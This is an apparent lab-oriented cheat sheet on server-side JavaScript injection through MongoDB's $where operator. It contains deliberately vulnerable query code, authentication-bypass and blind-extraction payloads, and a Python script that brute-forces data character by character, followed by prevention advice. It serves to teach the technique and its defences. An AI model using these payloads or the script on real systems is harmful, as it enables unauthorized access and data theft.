Server-Side JavaScript Injection

Server-Side JavaScript Injection (SSJI) is a unique type of NoSQL injection where an attacker can execute arbitrary JavaScript in the database context using the $where operator.

Theory

MongoDB's $where operator allows JavaScript expressions to be evaluated as query conditions. When user input is unsanitized, this can lead to JavaScript injection.

Vulnerable Code Example

db.users.find({
    $where: 'this.username === "' + req.body['username'] + '" && this.password === "' + req.body['password'] + '"'
});

Authentication Bypass

Basic Bypass Payload

Use JavaScript logical operators to always return true:

// Payload: " || true || ""=="
db.users.find({
    $where: 'this.username === "" || true || ""=="" && this.password === "<password>"'
});

URL-Encoded Payload

username=%22+%7C%7C+true+%7C%7C+%22%22%3D%3D%22&password=anything

Blind Data Extraction

Character-by-Character Extraction

Use JavaScript match() function with regex patterns:

Test first character:

// Payload: " || (this.username.match('^H.*')) || ""=="
db.users.find({
    $where: 'this.username === "" || (this.username.match("^H.*")) || ""=="" && this.password === "<password>"'
});

Continue extraction:

// Second character: " || (this.username.match('^HT.*')) || ""=="
// Third character: " || (this.username.match('^HTB.*')) || ""=="
// And so on...

Complete Extraction Process

  1. Verify injection works:

    " || (this.username.match('^.*')) || ""=="
  2. Extract first character:

    " || (this.username.match('^a.*')) || ""=="  // No match
    " || (this.username.match('^b.*')) || ""=="  // No match
    " || (this.username.match('^H.*')) || ""=="  // Match!
  3. Continue for each position:

    " || (this.username.match('^HT.*')) || ""=="
    " || (this.username.match('^HTB.*')) || ""=="
    " || (this.username.match('^HTB{.*')) || ""=="

Advanced JavaScript Payloads

Multiple Field Extraction

// Extract both username and password
" || (this.username.match('^H.*') && this.password.match('^a.*')) || ""=="

Conditional Logic

// Extract based on conditions
" || (this.username.length > 5 && this.username.match('^HTB.*')) || ""=="

Function Calls

// Use JavaScript functions
" || (this.username.indexOf('HTB') === 0) || ""=="
" || (this.username.startsWith('HTB')) || ""=="

Automation Script

#!/usr/bin/env python3

import requests
from urllib.parse import quote_plus

def oracle(r):
    response = requests.post("http://STMIP:STMPO/", headers = {"Content-Type": "application/x-www-form-urlencoded"}, data = f"""username={(quote_plus('" || (' + r + ') || ""=="'))}&password=test""")
    return "Logged in as" in response.text

username = "HTB{"
i = 4
while username[-1] != "}":
    for character in range(32, 127):
        if oracle(f'this.username.startsWith("HTB{{") && this.username.charCodeAt({i}) == {character}'):
            username += chr(character)
            break
    i += 1

assert(oracle(f'this.username == `{username}`') == True)
print(f"Username: {username}")

Common JavaScript Operators

Logical Operators

  • || (OR) - Always true if one side is true

  • && (AND) - Both sides must be true

  • ! (NOT) - Negation

Comparison Operators

  • === (Strict equality)

  • !== (Strict inequality)

  • == (Loose equality)

  • != (Loose inequality)

String Methods

  • match() - Regex matching

  • indexOf() - Find substring position

  • startsWith() - Check prefix

  • endsWith() - Check suffix

  • length - String length

Detection Methods

Error-Based Detection

// Cause syntax error
" || (this.username.match('^.*')) || ""=="

Time-Based Detection

// Sleep function (if available)
" || (sleep(5000)) || ""=="

Boolean-Based Detection

// True/false responses
" || true || ""=="  // Should always work
" || false || ""==" // Should never work

Prevention

Input Validation

// Validate input before using in $where
function validateInput(input) {
    if (typeof input !== 'string') return false;
    if (input.includes('"') || input.includes("'")) return false;
    if (input.includes('||') || input.includes('&&')) return false;
    return true;
}

Alternative Queries

// Use standard MongoDB operators instead of $where
db.users.find({
    username: req.body.username,
    password: req.body.password
});

Parameterized Queries

// Use MongoDB driver's parameterized queries
const query = { username: username, password: password };
db.users.find(query);

Key Points

  • Unique to NoSQL: JavaScript injection is specific to MongoDB's $where operator

  • Flexible payloads: Can use any valid JavaScript expressions

  • Multiple attack vectors: Authentication bypass, data extraction, information disclosure

  • Automation friendly: Easy to script character-by-character extraction

  • Detection methods: Error-based, time-based, boolean-based

Common Vulnerable Patterns

  • User input directly concatenated into $where expressions

  • Lack of input validation on JavaScript operators

  • Using $where when standard operators would suffice

  • Missing output encoding in error messages

Last updated